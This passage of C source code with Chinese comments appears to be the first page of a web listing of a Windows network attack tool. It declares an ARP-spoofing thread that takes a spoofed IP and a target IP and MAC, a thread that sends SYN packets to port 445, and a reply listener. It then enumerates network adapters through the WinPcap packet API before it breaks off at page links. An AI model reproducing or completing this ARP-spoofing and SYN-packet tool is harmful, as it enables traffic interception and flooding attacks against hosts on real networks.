|
char no2;
USHORT SACK;
};
struct CHEAT_ARP_INFO //ARP欺骗线程的参数
{
char simulateIP[20];
char targetIP[20];
char targetMAC[13];
};
#pragma pack(pop)
USHORT CheckSum(USHORT *buffer, int size); //计算校验和的函数
void StrToMac(char *str,char *mac); //字符串转换为MAC地址
void ListenACK(); //监听函数,监听对方的回包
void AssayAndSendData(LPPACKET lpPacket); //分析数据帧并发送回包
DWORD WINAPI ArpCheat(void *pInfo); //ARP欺骗线程
DWORD WINAPI SendSyn(void *no); //发送SYN包的线程
void Info();
LPADAPTER lpAdapter=NULL; //适配器指针
USHORT ipID=1638; //IP标识
USHORT sourcePort=1056; //起始源端口
USHORT targetPort=445; //目的端口
int main(int argc, char* argv[])
{
Info();
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
{
printf("WSAStartup error!\n");
return -1;
} //打开适配器:
WCHAR adapter_name[2048]={0};
ULONG adapter_length=1024;
//取得所有适配器的名字.
if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)
{
//adapter_name:一个用于存放适配器的名字的缓冲区
//adapter_length:这个缓冲区的大小
printf("PacketGetAdapterNames error:%d\n",GetLastError());
return -1;
}
WCHAR *name1,*name2;
ULONG i;
static CHAR adapter_list[10][1024];
name1=adapter_name;
name2=adapter_name;
i=0;
//把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |